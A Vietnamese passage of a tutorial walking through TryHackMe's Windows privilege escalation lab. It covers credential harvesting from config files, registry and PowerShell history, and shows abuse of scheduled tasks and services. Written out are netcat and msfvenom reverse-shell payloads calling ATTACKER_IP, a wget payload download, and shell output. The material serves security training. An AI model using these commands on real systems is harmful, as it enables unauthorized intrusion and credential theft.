Lưu ý, Hướng Dẫn Toàn Diện TryHackMe Pentest+ Phòng Leo Thang Đặc Quyền Trên Windows là bài hướng dẫn chi tiết và rõ ràng về mặt lý thuyết cùng những tình huống minh họa chứ không phải mục đích show flag để các chú lụm dán vào rồi submit 🙂 , hãy TryHard hay tự làm trước, khi nào làm nhiều rồi, đủ rồi mà vẫn còn chưa ra kết quả thì lấy flag cũng chẳng sao. Không cứ phải tự làm 100% mới tốt nhưng không tự làm 100% chắc chắn không tốt.

Những kiến thức trong bài này có thể áp dụng vào nhiều bài thi thực hành như CEH Practical, eJPT,eCCPT,OSCP,CPENT,LPT hay CEH Master.

Xin chào và chào mừng các bạn đã đến với CEH VIETNAM – trung tâm đào tạo nhiều thí sinh thi đạt chứng chỉ CEH (Certified Ethical Hacker) và CEH Master nhất tại Việt Nam ! Chúng tôi tự hào là đơn vị hàng đầu trong lĩnh vực đào tạo an ninh mạng và hacking đạo đức, với đội ngũ giảng viên giàu kinh nghiệm và chương trình đào tạo cập nhật liên tục. Hãy cùng khám phá nội dung bài học hôm nay về kỹ thuật leo thang đặc quyền trên Windows của Learn Path TryHackMe Pentest+ nhé!

[Hãy truy cập room trên THM để xem đầy đủ hình ảnh và thực hành]

Trong quá trình kiểm thử xâm nhập, bạn thường sẽ có quyền truy cập vào một số máy chủ Windows với tư cách người dùng không có đặc quyền. Người dùng không có đặc quyền sẽ chỉ có quyền truy cập hạn chế, bao gồm các tệp và thư mục của riêng họ, và không có phương tiện để thực hiện các tác vụ quản trị trên máy chủ, ngăn bạn có toàn quyền kiểm soát mục tiêu.

Phòng học này đề cập đến các kỹ thuật cơ bản mà kẻ tấn công có thể sử dụng để leo thang đặc quyền trong môi trường Windows, cho phép bạn sử dụng bất kỳ điểm tựa không có đặc quyền ban đầu nào trên máy chủ để leo thang lên tài khoản quản trị viên, nếu có thể.

Nếu bạn muốn ôn lại kỹ năng trước, bạn có thể xem qua Module Cơ bản về Windows hoặc Module Hack Windows.

Leo thang đặc quyền Windows

Nói một cách đơn giản, leo thang đặc quyền bao gồm việc sử dụng quyền truy cập đã được cấp vào một máy chủ với “người dùng A” và tận dụng nó để có quyền truy cập vào “người dùng B” bằng cách lợi dụng điểm yếu trong hệ thống mục tiêu. Mặc dù thông thường chúng ta muốn “người dùng B” có quyền quản trị, nhưng có thể có những tình huống mà chúng ta cần leo thang vào các tài khoản không có đặc quyền khác trước khi thực sự có được đặc quyền quản trị.

Có quyền truy cập vào các tài khoản khác nhau có thể đơn giản như tìm thông tin đăng nhập trong các tệp văn bản hoặc bảng tính bị bỏ mặc không được bảo mật bởi một số người dùng bất cẩn, nhưng không phải lúc nào cũng như vậy. Tùy thuộc vào tình huống, chúng ta có thể cần lợi dụng một số điểm yếu sau:

  • Cấu hình sai trên dịch vụ Windows hoặc tác vụ đã lên lịch
  • Đặc quyền quá mức được gán cho tài khoản của chúng ta
  • Phần mềm dễ bị tấn công
  • Thiếu các bản vá bảo mật Windows

Trước khi đi vào các kỹ thuật thực tế, hãy xem xét các loại tài khoản khác nhau trên hệ thống Windows.

Người dùng Windows

Hệ thống Windows chủ yếu có hai loại người dùng. Tùy thuộc vào mức độ truy cập của họ, chúng ta có thể phân loại người dùng vào một trong các nhóm sau:

Quản trị viên: Những người dùng này có đặc quyền cao nhất. Họ có thể thay đổi bất kỳ thông số cấu hình hệ thống nào và truy cập bất kỳ tệp nào trong hệ thống.

Người dùng Tiêu chuẩn: Những người dùng này có thể truy cập máy tính nhưng chỉ thực hiện được các tác vụ hạn chế. Thông thường, những người dùng này không thể thực hiện các thay đổi vĩnh viễn hoặc quan trọng đối với hệ thống và bị giới hạn trong các tệp của họ.

Bất kỳ người dùng nào có đặc quyền quản trị sẽ là thành viên của nhóm Quản trị viên. Mặt khác, người dùng tiêu chuẩn là thành viên của nhóm Người dùng.

Ngoài ra, bạn thường sẽ nghe về một số tài khoản tích hợp đặc biệt được hệ điều hành sử dụng trong bối cảnh leo thang đặc quyền:

SYSTEM / LocalSystem: Một tài khoản được hệ điều hành sử dụng để thực hiện các tác vụ nội bộ. Nó có toàn quyền truy cập vào tất cả các tệp và tài nguyên có sẵn trên máy chủ với đặc quyền thậm chí còn cao hơn cả quản trị viên.

Local Service: Tài khoản mặc định được sử dụng để chạy các dịch vụ Windows với đặc quyền “tối thiểu”. Nó sẽ sử dụng kết nối ẩn danh qua mạng.

Network Service: Tài khoản mặc định được sử dụng để chạy các dịch vụ Windows với đặc quyền “tối thiểu”. Nó sẽ sử dụng thông tin đăng nhập của máy tính để xác thực qua mạng.

Các tài khoản này được Windows tạo và quản lý, và bạn sẽ không thể sử dụng chúng như các tài khoản thông thường khác. Tuy nhiên, trong một số tình huống, bạn có thể có được đặc quyền của chúng do khai thác các dịch vụ cụ thể.

Thu thập mật khẩu từ các vị trí thông thường

Cách dễ nhất để có quyền truy cập vào một người dùng khác là thu thập thông tin đăng nhập từ máy đã bị xâm phạm. Những thông tin đăng nhập như vậy có thể tồn tại vì nhiều lý do, bao gồm người dùng bất cẩn để chúng quanh đây trong các tệp văn bản thuần túy; hoặc thậm chí được lưu trữ bởi một số phần mềm như trình duyệt hoặc ứng dụng email.

Nhiệm vụ này sẽ giới thiệu một số vị trí đã biết để tìm mật khẩu trên hệ thống Windows.

Trước khi bắt đầu nhiệm vụ, hãy nhớ nhấp vào nút Start Machine. Bạn sẽ sử dụng cùng một máy trong suốt các nhiệm vụ 3 đến 5. Nếu bạn đang sử dụng AttackBox, đây cũng là thời điểm tốt để khởi động nó vì bạn sẽ cần nó cho các nhiệm vụ tiếp theo.

Trong trường hợp bạn muốn kết nối với máy mục tiêu qua RDP, bạn có thể sử dụng thông tin đăng nhập sau:

Người dùng: thm-unpriv
Mật khẩu: Password321

Cài đặt Windows không cần giám sát

Khi cài đặt Windows trên một số lượng lớn máy chủ, quản trị viên có thể sử dụng Dịch vụ Triển khai Windows, cho phép một hình ảnh hệ điều hành duy nhất được triển khai cho một số máy chủ thông qua mạng. Những cài đặt kiểu này được gọi là cài đặt không cần giám sát vì chúng không yêu cầu tương tác của người dùng. Các cài đặt như vậy yêu cầu sử dụng tài khoản quản trị viên để thực hiện thiết lập ban đầu, điều này có thể kết thúc bằng việc được lưu trữ trong máy ở các vị trí sau:

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

Là một phần của các tệp này, bạn có thể gặp thông tin đăng nhập:

Administrator thm.local MyPassword123

Lịch sử Powershell

Bất cứ khi nào người dùng chạy một lệnh bằng Powershell, nó được lưu vào một tệp ghi nhớ các lệnh trước đó. Điều này rất hữu ích để nhanh chóng lặp lại các lệnh bạn đã sử dụng trước đó. Nếu người dùng chạy một lệnh bao gồm mật khẩu trực tiếp như một phần của dòng lệnh Powershell, sau đó nó có thể được truy xuất bằng cách sử dụng lệnh sau từ dấu nhắc cmd.exe:

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Lưu ý: Lệnh trên sẽ chỉ hoạt động từ cmd.exe, vì Powershell sẽ không nhận ra %userprofile% là một biến môi trường. Để đọc tệp từ Powershell, bạn phải thay thế %userprofile% bằng $Env:userprofile.

Thông tin đăng nhập Windows đã lưu

Windows cho phép chúng ta sử dụng thông tin đăng nhập của người dùng khác. Chức năng này cũng cung cấp tùy chọn lưu các thông tin đăng nhập này trên hệ thống. Lệnh dưới đây sẽ liệt kê các thông tin đăng nhập đã lưu:

cmdkey /list

Mặc dù bạn không thể thấy mật khẩu thực tế, nếu bạn nhận thấy bất kỳ thông tin đáng thử nào, bạn có thể sử dụng chúng với lệnh runas và tùy chọn /savecred, như được thấy bên dưới.

runas /savecred /user:admin cmd.exe

Cấu hình IIS

Internet Information Services (IIS) là máy chủ web mặc định trên các cài đặt Windows. Cấu hình của các trang web trên IIS được lưu trữ trong một tệp có tên web.config và có thể lưu trữ mật khẩu cho cơ sở dữ liệu hoặc cơ chế xác thực đã được cấu hình. Tùy thuộc vào phiên bản IIS đã cài đặt, chúng ta có thể tìm thấy web.config ở một trong các vị trí sau:

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

Đây là cách nhanh chóng để tìm chuỗi kết nối cơ sở dữ liệu trên tệp:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Lấy thông tin đăng nhập từ phần mềm: PuTTY

PuTTY là một ứng dụng SSH thường được tìm thấy trên các hệ thống Windows. Thay vì phải chỉ định các tham số kết nối mỗi lần, người dùng có thể lưu trữ các phiên trong đó địa chỉ IP, người dùng và các cấu hình khác có thể được lưu trữ để sử dụng sau này. Mặc dù PuTTY sẽ không cho phép người dùng lưu trữ mật khẩu SSH của họ, nhưng nó sẽ lưu trữ cấu hình proxy bao gồm thông tin đăng nhập xác thực văn bản rõ ràng.

Để truy xuất thông tin đăng nhập proxy đã lưu trữ, bạn có thể tìm kiếm dưới khóa registry sau cho ProxyPassword với lệnh sau:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f “Proxy” /s

Lưu ý: Simon Tatham là người tạo ra PuTTY (và tên của anh ấy là một phần của đường dẫn), không phải tên người dùng mà chúng ta đang truy xuất mật khẩu. Tên người dùng proxy đã lưu trữ cũng nên hiển thị sau khi chạy lệnh trên.

Giống như putty lưu trữ thông tin đăng nhập, bất kỳ phần mềm nào lưu trữ mật khẩu, bao gồm trình duyệt, ứng dụng email, ứng dụng FTP, ứng dụng SSH, phần mềm VNC và các phần mềm khác, sẽ có các phương pháp để khôi phục bất kỳ mật khẩu nào mà người dùng đã lưu.

Các chiến thắng nhanh khác

Leo thang đặc quyền không phải lúc nào cũng là một thách thức. Một số cấu hình sai có thể cho phép bạn có được quyền truy cập của người dùng có đặc quyền cao hơn và trong một số trường hợp, thậm chí là quyền truy cập quản trị viên. Bạn nên coi những điều này thuộc về lĩnh vực của các sự kiện CTF hơn là các kịch bản bạn sẽ gặp trong các cuộc kiểm tra xâm nhập thực tế. Tuy nhiên, nếu không có phương pháp nào được đề cập trước đó hoạt động, bạn luôn có thể quay lại những phương pháp này.

Tác vụ đã lên lịch

Khi xem xét các tác vụ đã lên lịch trên hệ thống mục tiêu, bạn có thể thấy một tác vụ đã lên lịch hoặc là bị mất tệp thực thi hoặc đang sử dụng một tệp thực thi mà bạn có thể sửa đổi.

Các tác vụ đã lên lịch có thể được liệt kê từ dòng lệnh bằng cách sử dụng lệnh schtasks mà không cần bất kỳ tùy chọn nào. Để truy xuất thông tin chi tiết về bất kỳ dịch vụ nào, bạn có thể sử dụng lệnh như sau:

C:> schtasks /query /tn vulntask /fo list /v Folder:
HostName: THM-PC1 TaskName: \vulntask Task To Run: C:\tasks\schtask.bat Run As User: taskusr1

Bạn sẽ nhận được rất nhiều thông tin về tác vụ, nhưng điều quan trọng đối với chúng ta là tham số “Task to Run” cho biết những gì được thực thi bởi tác vụ đã lên lịch, và tham số “Run As User” cho thấy người dùng sẽ được sử dụng để thực thi tác vụ.

Nếu người dùng hiện tại của chúng ta có thể sửa đổi hoặc ghi đè lên tệp thực thi “Task to Run”, chúng ta có thể kiểm soát những gì được thực thi bởi người dùng taskusr1, dẫn đến một sự leo thang đặc quyền đơn giản. Để kiểm tra quyền truy cập tệp trên tệp thực thi, chúng ta sử dụng icacls:

C:> icacls c:\tasks\schtask.bat c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(F)

Như có thể thấy trong kết quả, nhóm BUILTIN\Users có quyền truy cập đầy đủ (F) đối với tệp thực thi của tác vụ. Điều này có nghĩa là chúng ta có thể sửa đổi tệp .bat và chèn bất kỳ tải trọng nào chúng ta muốn. Để thuận tiện cho bạn, nc64.exe có thể được tìm thấy trên C:\tools. Hãy thay đổi tệp bat để tạo ra một reverse shell:

C:> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

Sau đó chúng ta bắt đầu một listener trên máy tấn công trên cùng cổng mà chúng ta đã chỉ định trên reverse shell của chúng ta:

nc -lvp 4444

Lần tiếp theo tác vụ đã lên lịch chạy, bạn sẽ nhận được reverse shell với đặc quyền của taskusr1. Mặc dù có lẽ bạn sẽ không thể bắt đầu tác vụ trong một kịch bản thực tế và sẽ phải đợi tác vụ đã lên lịch kích hoạt, chúng tôi đã cung cấp cho người dùng của bạn quyền để bắt đầu tác vụ theo cách thủ công để tiết kiệm thời gian cho bạn. Chúng ta có thể chạy tác vụ với lệnh sau:

C:> schtasks /run /tn vulntask

Và bạn sẽ nhận được reverse shell với đặc quyền của taskusr1 như mong đợi:

user@attackerpc$ nc -lvp 4444 Listening on 0.0.0.0 4444 Connection received on 10.10.175.90 50649 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami wprivesc1\taskusr1

Đi đến desktop của taskusr1 để lấy một flag. Đừng quên nhập flag vào cuối nhiệm vụ này.

AlwaysInstallElevated

Các tệp cài đặt Windows (còn được gọi là tệp .msi) được sử dụng để cài đặt ứng dụng trên hệ thống. Chúng thường chạy với mức đặc quyền của người dùng bắt đầu nó. Tuy nhiên, những tệp này có thể được cấu hình để chạy với đặc quyền cao hơn từ bất kỳ tài khoản người dùng nào (ngay cả những tài khoản không có đặc quyền). Điều này có thể cho phép chúng ta tạo một tệp MSI độc hại sẽ chạy với đặc quyền quản trị viên.

Lưu ý: Phương pháp AlwaysInstallElevated sẽ không hoạt động trên máy trong phòng này và nó chỉ được đưa vào như thông tin.

Phương pháp này yêu cầu hai giá trị registry được đặt. Bạn có thể truy vấn những giá trị này từ dòng lệnh bằng cách sử dụng các lệnh dưới đây.

C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer C:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Để có thể khai thác lỗ hổng này, cả hai giá trị đều phải được đặt. Nếu không, việc khai thác sẽ không thể thực hiện được. Nếu những giá trị này được đặt, bạn có thể tạo một tệp .msi độc hại bằng cách sử dụng msfvenom, như được thấy dưới đây:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi

Vì đây là một reverse shell, bạn cũng nên chạy mô-đun Metasploit Handler đã được cấu hình phù hợp. Sau khi bạn đã chuyển tệp bạn đã tạo, bạn có thể chạy trình cài đặt với lệnh dưới đây và nhận được reverse shell:

C:> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Lạm dụng cấu hình sai của dịch vụ

Dịch vụ Windows

Các dịch vụ Windows được quản lý bởi Service Control Manager (SCM). SCM là một quá trình chịu trách nhiệm quản lý trạng thái của các dịch vụ khi cần thiết, kiểm tra trạng thái hiện tại của bất kỳ dịch vụ nào và nói chung cung cấp một cách để cấu hình các dịch vụ.

Mỗi dịch vụ trên máy Windows sẽ có một tệp thực thi liên kết sẽ được SCM chạy bất cứ khi nào một dịch vụ được bắt đầu. Điều quan trọng cần lưu ý là các tệp thực thi dịch vụ thực hiện các chức năng đặc biệt để có thể giao tiếp với SCM, và do đó không phải bất kỳ tệp thực thi nào cũng có thể được bắt đầu như một dịch vụ thành công. Mỗi dịch vụ cũng chỉ định tài khoản người dùng mà dịch vụ sẽ chạy dưới.

Để hiểu rõ hơn về cấu trúc của một dịch vụ, hãy kiểm tra cấu hình dịch vụ apphostsvc với lệnh sc qc:

C:> sc qc apphostsvc [SC] QueryServiceConfig SUCCESS SERVICE_NAME: apphostsvc TYPE : 20 WIN32_SHARE_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k apphost LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Application Host Helper Service DEPENDENCIES : SERVICE_START_NAME : localSystem

Ở đây chúng ta có thể thấy rằng tệp thực thi liên kết được chỉ định thông qua tham số BINARY_PATH_NAME, và tài khoản được sử dụng để chạy dịch vụ được hiển thị trên tham số SERVICE_START_NAME.

Các dịch vụ có một Danh sách Kiểm soát Truy cập Tùy ý (DACL), cho biết ai có quyền bắt đầu, dừng, tạm dừng, truy vấn trạng thái, truy vấn cấu hình hoặc cấu hình lại dịch vụ, trong số các đặc quyền khác. DACL có thể được xem từ Process Hacker (có sẵn trên máy tính của bạn):

[Hình ảnh về DACL trong Process Hacker]

Tất cả các cấu hình dịch vụ được lưu trữ trong registry dưới HKLM\SYSTEM\CurrentControlSet\Services:

[Hình ảnh về cấu hình dịch vụ trong registry]

Một khóa con tồn tại cho mỗi dịch vụ trong hệ thống. Một lần nữa, chúng ta có thể thấy tệp thực thi liên kết trên giá trị ImagePath và tài khoản được sử dụng để bắt đầu dịch vụ trên giá trị ObjectName. Nếu một DACL đã được cấu hình cho dịch vụ, nó sẽ được lưu trữ trong một khóa con có tên là Security. Như bạn đã đoán, theo mặc định chỉ quản trị viên mới có thể sửa đổi các mục nhập registry như vậy.

Quyền truy cập không an toàn vào tệp thực thi dịch vụ

Nếu tệp thực thi liên kết với một dịch vụ có quyền truy cập yếu cho phép kẻ tấn công sửa đổi hoặc thay thế nó, kẻ tấn công có thể dễ dàng có được đặc quyền của tài khoản dịch vụ.

Để hiểu cách này hoạt động, hãy xem xét một lỗ hổng được tìm thấy trên Splinterware System Scheduler. Để bắt đầu, chúng ta sẽ truy vấn cấu hình dịch vụ bằng cách sử dụng sc:

C:> sc qc WindowsScheduler [SC] QueryServiceConfig SUCCESS SERVICE_NAME: windowsscheduler TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\PROGRA2\SYSTEM1\WService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : System Scheduler Service DEPENDENCIES : SERVICE_START_NAME : .\svcuser1

Chúng ta có thể thấy rằng dịch vụ được cài đặt bởi phần mềm dễ bị tấn công chạy dưới quyền svcuser1 và tệp thực thi liên kết với dịch vụ nằm trong C:\Progra2\System1\WService.exe. Sau đó, chúng ta tiếp tục kiểm tra quyền truy cập trên tệp thực thi:

C:\Users\thm-unpriv>icacls C:\PROGRA2\SYSTEM1\WService.exe C:\PROGRA2\SYSTEM1\WService.exe Everyone:(I)(M) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX) Successfully processed 1 files; Failed processing 0 files

Và ở đây chúng ta có điều thú vị. Nhóm Everyone có quyền sửa đổi (M) đối với tệp thực thi của dịch vụ. Điều này có nghĩa là chúng ta có thể đơn giản ghi đè lên nó bằng bất kỳ tải trọng nào chúng ta muốn, và dịch vụ sẽ thực thi nó với đặc quyền của tài khoản người dùng đã được cấu hình.

Hãy tạo một tải trọng exe-service bằng msfvenom và phục vụ nó thông qua một máy chủ web python:

user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe user@attackerpc$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) …

Sau đó chúng ta có thể kéo tải trọng từ Powershell với lệnh sau:

wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe

Khi tải trọng đã có trên máy chủ Windows, chúng ta tiến hành thay thế tệp thực thi dịch vụ bằng tải trọng của chúng ta. Vì chúng ta cần một người dùng khác thực thi tải trọng của chúng ta, chúng ta sẽ muốn cấp quyền truy cập đầy đủ cho nhóm Everyone:

C:> cd C:\PROGRA2\SYSTEM1
C:\PROGRA2\SYSTEM1> move WService.exe WService.exe.bkp 1 file(s) moved. C:\PROGRA2\SYSTEM1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe 1 file(s) moved. C:\PROGRA2\SYSTEM1> icacls WService.exe /grant Everyone:F Successfully processed 1 files.

Chúng ta bắt đầu một listener trên máy tấn công của chúng ta:

user@attackerpc$ nc -lvp 4445

Và cuối cùng, khởi động lại dịch vụ. Trong khi trong một kịch bản bình thường, bạn có thể phải đợi dịch vụ khởi động lại, bạn đã được gán đặc quyền để khởi động lại dịch vụ bằng chính mình để tiết kiệm thời gian. Sử dụng các lệnh sau từ dấu nhắc lệnh cmd.exe:

C:> sc stop windowsscheduler C:> sc start windowsscheduler

Lưu ý: PowerShell có sc là một bí danh cho Set-Content, do đó bạn cần sử dụng sc.exe để kiểm soát dịch vụ bằng PowerShell theo cách này.

Kết quả là, bạn sẽ nhận được một reverse shell với đặc quyền của svcusr1:

user@attackerpc$ nc -lvp 4445 Listening on 0.0.0.0 4445 Connection received on 10.10.175.90 50649 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami wprivesc1\svcusr1

Đi đến desktop của svcusr1 để lấy một flag. Đừng quên nhập flag vào cuối nhiệm vụ này.

Đường dẫn dịch vụ không được trích dẫn

Khi chúng ta không thể trực tiếp ghi vào các tệp thực thi dịch vụ như trước đây, vẫn có thể có cơ hội buộc dịch vụ chạy các tệp thực thi tùy ý bằng cách sử dụng một tính năng khá mơ hồ.

Khi làm việc với các dịch vụ Windows, một hành vi rất đặc biệt xảy ra khi dịch vụ được cấu hình để trỏ đến một tệp thực thi “không được trích dẫn”. Bằng không được trích dẫn, chúng ta có nghĩa là đường dẫn của tệp thực thi liên kết không được trích dẫn đúng cách để tính đến khoảng trắng trong lệnh.

Ví dụ, hãy xem xét sự khác biệt giữa hai dịch vụ (các dịch vụ này được sử dụng làm ví dụ và có thể không có sẵn trên máy của bạn). Dịch vụ đầu tiên sẽ sử dụng trích dẫn đúng để SCM biết chắc chắn rằng nó phải thực thi tệp nhị phân được trỏ bởi “C:\Program Files\RealVNC\VNC Server\vncserver.exe”, theo sau là các tham số đã cho:

C:> sc qc “vncserver” [SC] QueryServiceConfig SUCCESS SERVICE_NAME: vncserver TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : “C:\Program Files\RealVNC\VNC Server\vncserver.exe” -service LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : VNC Server DEPENDENCIES : SERVICE_START_NAME : LocalSystem

Nhớ rằng: PowerShell có ‘sc’ là bí danh cho ‘Set-Content’, do đó bạn cần sử dụng ‘sc.exe’ để kiểm soát dịch vụ nếu bạn đang ở trong dấu nhắc PowerShell.

Bây giờ hãy xem xét một dịch vụ khác không có trích dẫn đúng:

C:> sc qc “disk sorter enterprise” [SC] QueryServiceConfig SUCCESS SERVICE_NAME: disk sorter enterprise TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Disk Sorter Enterprise DEPENDENCIES : SERVICE_START_NAME : .\svcusr2

Khi SCM cố gắng thực thi tệp nhị phân liên kết, một vấn đề phát sinh. Vì có khoảng trắng trong tên của thư mục “Disk Sorter Enterprise”, lệnh trở nên mơ hồ, và SCM không biết bạn đang cố gắng thực thi cái nào trong số những điều sau:

Command Argument 1 Argument 2 C:\MyPrograms\Disk.exe Sorter Enterprise\bin\disksrs.exe C:\MyPrograms\Disk Sorter.exe Enterprise\bin\disksrs.exe C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

Điều này có liên quan đến cách dấu nhắc lệnh phân tích cú pháp một lệnh. Thông thường, khi bạn gửi một lệnh, khoảng trắng được sử dụng làm dấu phân cách đối số trừ khi chúng là một phần của chuỗi được trích dẫn. Điều này có nghĩa là cách giải thích “đúng” của lệnh không được trích dẫn sẽ là thực thi C:\MyPrograms\Disk.exe và lấy phần còn lại làm đối số.

Thay vì thất bại như có lẽ nó nên làm, SCM cố gắng giúp người dùng và bắt đầu tìm kiếm từng tệp nhị phân theo thứ tự hiển thị trong bảng:

  1. Đầu tiên, tìm kiếm C:\MyPrograms\Disk.exe. Nếu nó tồn tại, dịch vụ sẽ chạy tệp thực thi này.
  2. Nếu cái trước không tồn tại, nó sẽ tìm kiếm C:\MyPrograms\Disk Sorter.exe. Nếu nó tồn tại, dịch vụ sẽ chạy tệp thực thi này.
  3. Nếu cái trước không tồn tại, nó sẽ tìm kiếm C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe. Tùy chọn này được mong đợi sẽ thành công và thường sẽ được chạy trong cài đặt mặc định.

Từ hành vi này, vấn đề trở nên rõ ràng. Nếu kẻ tấn công tạo ra bất kỳ tệp thực thi nào được tìm kiếm trước tệp thực thi dịch vụ dự kiến, họ có thể buộc dịch vụ chạy một tệp thực thi tùy ý.

Mặc dù điều này nghe có vẻ tầm thường, hầu hết các tệp thực thi dịch vụ sẽ được cài đặt dưới C:\Program Files hoặc C:\Program Files (x86) theo mặc định, điều này không thể ghi được bởi người dùng không có đặc quyền. Điều này ngăn chặn bất kỳ dịch vụ dễ bị tấn công nào bị khai thác. Có những ngoại lệ cho quy tắc này:

  • Một số trình cài đặt thay đổi quyền truy cập vào các thư mục đã cài đặt, làm cho các dịch vụ dễ bị tấn công.
  • Một quản trị viên có thể quyết định cài đặt các tệp nhị phân dịch vụ trong một đường dẫn không mặc định. Nếu một đường dẫn như vậy có thể ghi được bởi mọi người, lỗ hổng có thể bị khai thác.

Trong trường hợp của chúng ta, Quản trị viên đã cài đặt các tệp nhị phân Disk Sorter dưới c:\MyPrograms. Theo mặc định, điều này kế thừa quyền truy cập của thư mục C:, cho phép bất kỳ người dùng nào tạo tệp và thư mục trong đó. Chúng ta có thể kiểm tra điều này bằng cách sử dụng icacls:

C:>icacls c:\MyPrograms c:\MyPrograms NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) BUILTIN\Administrators:(I)(OI)(CI)(F) BUILTIN\Users:(I)(OI)(CI)(RX) BUILTIN\Users:(I)(CI)(AD) BUILTIN\Users:(I)(CI)(WD) CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

Nhóm BUILTIN\Users có đặc quyền AD và WD, cho phép người dùng tạo thư mục con và tệp tương ứng.

Quá trình tạo tải trọng exe-service bằng msfvenom và chuyển nó đến máy chủ mục tiêu giống như trước đây, vì vậy hãy tự do tạo tải trọng sau và tải nó lên máy chủ như trước. Chúng ta cũng sẽ bắt đầu một listener để nhận reverse shell khi nó được thực thi:

user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe user@attackerpc$ nc -lvp 4446

Khi tải trọng đã có trên máy chủ, hãy di chuyển nó đến bất kỳ vị trí nào mà việc chiếm quyền có thể xảy ra. Trong trường hợp này, chúng ta sẽ di chuyển tải trọng của mình đến C:\MyPrograms\Disk.exe. Chúng ta cũng sẽ cấp cho Everyone quyền truy cập đầy đủ vào tệp để đảm bảo nó có thể được thực thi bởi dịch vụ:

C:> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe C:> icacls C:\MyPrograms\Disk.exe /grant Everyone:F Successfully processed 1 files.

Khi dịch vụ được khởi động lại, tải trọng của bạn sẽ được thực thi:

C:> sc stop “disk sorter enterprise” C:> sc start “disk sorter enterprise”

Kết quả là, bạn sẽ nhận được một reverse shell với đặc quyền của svcusr2:

user@attackerpc$ nc -lvp 4446 Listening on 0.0.0.0 4446 Connection received on 10.10.175.90 50650 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami wprivesc1\svcusr2

Đi đến desktop của svcusr2 để lấy một flag. Đừng quên nhập flag vào cuối nhiệm vụ này.

Quyền truy cập dịch vụ không an toàn

Bạn vẫn có thể có một cơ hội nhỏ để tận dụng một dịch vụ nếu DACL của tệp thực thi dịch vụ được cấu hình tốt và đường dẫn nhị phân của dịch vụ được trích dẫn đúng. Nếu DACL dịch vụ (không phải DACL của tệp thực thi dịch vụ) cho phép bạn sửa đổi cấu hình của dịch vụ, bạn sẽ có thể cấu hình lại dịch vụ. Điều này sẽ cho phép bạn trỏ đến bất kỳ tệp thực thi nào bạn cần và chạy nó với bất kỳ tài khoản nào bạn muốn, bao gồm cả SYSTEM.

Để kiểm tra DACL của dịch vụ từ dòng lệnh, bạn có thể sử dụng Accesschk từ bộ Sysinternals. Để thuận tiện, một bản sao có sẵn tại C:\tools. Lệnh để kiểm tra DACL của dịch vụ thmservice là:

C:\tools\AccessChk> accesschk64.exe -qlc thmservice [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM SERVICE_QUERY_STATUS SERVICE_QUERY_CONFIG SERVICE_INTERROGATE SERVICE_ENUMERATE_DEPENDENTS SERVICE_PAUSE_CONTINUE SERVICE_START SERVICE_STOP SERVICE_USER_DEFINED_CONTROL READ_CONTROL [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users SERVICE_ALL_ACCESS

Ở đây chúng ta có thể thấy rằng nhóm BUILTIN\Users có quyền SERVICE_ALL_ACCESS, có nghĩa là bất kỳ người dùng nào cũng có thể cấu hình lại dịch vụ.

Trước khi thay đổi dịch vụ, hãy tạo một reverse shell exe-service khác và bắt đầu một listener cho nó trên máy tấn công:

